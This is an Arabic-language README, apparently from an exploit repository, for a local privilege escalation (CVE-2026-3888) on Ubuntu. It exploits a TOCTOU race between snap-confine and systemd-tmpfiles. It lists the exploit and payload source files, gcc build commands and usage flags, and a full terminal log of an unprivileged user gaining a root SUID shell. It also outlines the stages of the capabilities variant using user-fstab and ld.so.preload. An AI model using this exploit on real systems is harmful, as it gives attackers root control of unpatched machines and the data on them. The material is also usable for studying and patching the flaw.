
استغلال تصعيد الامتيازات المحلية لثغرة CVE-2026-3888 التي تستهدف snap-confine وsystemd-tmpfiles على أوبونتو، مع توفير نسختين SUID وcapabilities لتحقيق وصول الجذر.
تصعيد الامتيازات المحلي من مستخدم غير مميز إلى صلاحيات الجذر الكاملة على Ubuntu Desktop 24.04+ من خلال استغلال حالة سباق TOCTOU بين snap-confine وsystemd-tmpfiles. يتم توفير نسختين: SUID وCapabilities.
CVSS: 7.8 (عالية) | التقرير الأمني: Qualys | التصحيح: snapd 2.74.2، 17 مارس 2026
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin، إلخ.) |
| الهدف snap | firefox | snap-store |
| محاكاة الهدف | /usr/lib/x86_64-linux-gnu (~285 مدخل) | /var/lib (~17 مدخل) |
| ناقل الاستغلال | استبدال ld-linux-x86-64.so.2 بـ shellcode | التحكم في user-fstab + ld.so.preload |
| تنسيق الحمولة | ELF ثابت مع استدعاءات نظام خام | مكتبة مشتركة مع __attribute__((constructor)) |
| مشغل الجذر | SUID snap-confine يحمّل الرابط الديناميكي المسموم | SUID su في /tmp/.snap يقوم بتحميل .so مسبقًا |
| متطلب cgroup | أي اسم snap.* | تطابق تام: snap.snap-store.hook.configure |
تنظيف .snap | 30 يومًا | 10 أيام |
| الهروب من العزل | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles بحذف دليل المحاكاة القديم .snap تحت /tmp (انتهاء الصلاحية بعد 30 يومًا)snap-confine خطوة بخطوة عبر ضغط المقبس AF_UNIX للفوز بالسباق بشكل موثوق أثناء تسلسل ربط التحميل المحاكيld-linux-x86-64.so.2 بـ shellcode يستدعي setreuid(0,0) + execvesnap-confine يُطلق shellcode بصلاحيات الجذر/var/snap/firefox/common/ للهروب من بيئة العزل| الملف | الوصف |
|---|---|
exploit_suid.c | استغلال موحد بملف ثنائي واحد — جميع المراحل السبع في منسق واحد قائم على fork |
librootshell_suid.c | الحمولة — ELF صغير يستبدل ld-linux-x86-64.so.2 عبر استدعاءات نظام x86_64 خام |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
يجب تجميع كليهما على (أو تجميع متقاطع لـ) x86_64 Linux. exploit مرتبط ثابتًا بحيث يعمل داخل بيئة عزل snap دون تبعيات مكتبات. يستخدم librootshell.so خيار -nostdlib لأنه يحتوي فقط على استدعاءات نظام خام — بدون libc.
./exploit <librootshell.so> [-d] [-s]
| العلم | الوصف |
|---|---|
-d | إظهار مخرجات تصحيح snap-confine (وضع تفصيلي) |
-s | تخطي انتظار تنظيف .snap (يتطلب كلمة مرور الجذر) |
# تشغيل عادي
./exploit ./librootshell.so
# وضع التصحيح
./exploit ./librootshell.so -d
# إعادة المحاولة بعد الفشل
./exploit ./librootshell.so -s
يدخل الاستغلال إلى بيئة العزل، وينتظر قيام systemd-tmpfiles بحذف .snap (حتى 10 أيام على Ubuntu 25.10 القياسي وحتى 30 يومًا على Ubuntu 24.04 القياسي)، ثم يشغّل السباق تلقائيًا. عند النجاح، ينتقل إلى قشرة جذر.
snap-confine بصلاحيات SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timerbusybox على الهدف (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] الحمولة: /home/user/./librootshell.so (9056 بايت)
[المرحلة 1] الدخول إلى بيئة عزل Firefox...
[+] معرف قشرة داخلية: 3122
[المرحلة 2] انتظار حذف .snap...
[*] الاستطلاع (حتى 30 يومًا على Ubuntu القياسي).
[*] تلميح: استخدم -s للتخطي.
[+] تم حذف .snap.
[المرحلة 3] تدمير مساحة اسم التحميل المخزنة...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] تم تدمير مساحة الاسم.
[المرحلة 4] إعداد وتشغيل السباق...
[*] دليل العمل: /proc/3122/cwd
[*] بناء .snap و.exchange...
[*] تم نسخ 285 مدخل إلى دليل التبادل
[*] بدء السباق...
[*] مراقبة snap-confine (معرف العملية الفرعية 3543)...
[!] TRIGGER — تبديل الدلائل...
[+] تم التبديل — تم الفوز بالسباق!
[*] ld-linux في مساحة الاسم: user:user 755
[+] مساحة الاسم المسمومة PID: 3543
[المرحلة 5] حقن الحمولة في مساحة الاسم المسمومة...
[+] ld-linux مملوك لـ uid 1000 (المهاجم). تم تأكيد السباق.
[*] زرع busybox...
[*] كتابة سكربت الهروب → /tmp/sh
[*] استبدال ld-linux-x86-64.so.2...
[+] تم حقن الحمولة.
[المرحلة 6] تشغيل الجذر عبر SUID snap-confine...
[*] snap-confine → snap-confine (مشغل SUID)
[*] حالة الخروج: 0
[المرحلة 7] التحقق...
[+] bash جذر SUID: /var/snap/firefox/common/bash (الوضع 4755)
[*] تنظيف العمليات الخلفية...
================================================================
قشرة الجذر: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles بحذف دليل المحاكاة القديم .snap تحت /tmpsnap-confine خطوة بخطوة عبر ضغط المقبس AF_UNIX للفوز بالسباق بشكل موثوق أثناء تسلسل ربط تحميل /var/lib المحاكي/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab بربط تحميل /etc مسموم (مع ld.so.preload) داخل بيئة العزلsu من /tmp/.snap يقوم بتحميل librootshell.so مسبقًا والذي يستدعي setreuid(0,0) + execve("/tmp/sh")/var/snap/snap-store/common/ للهروب من بيئة العزل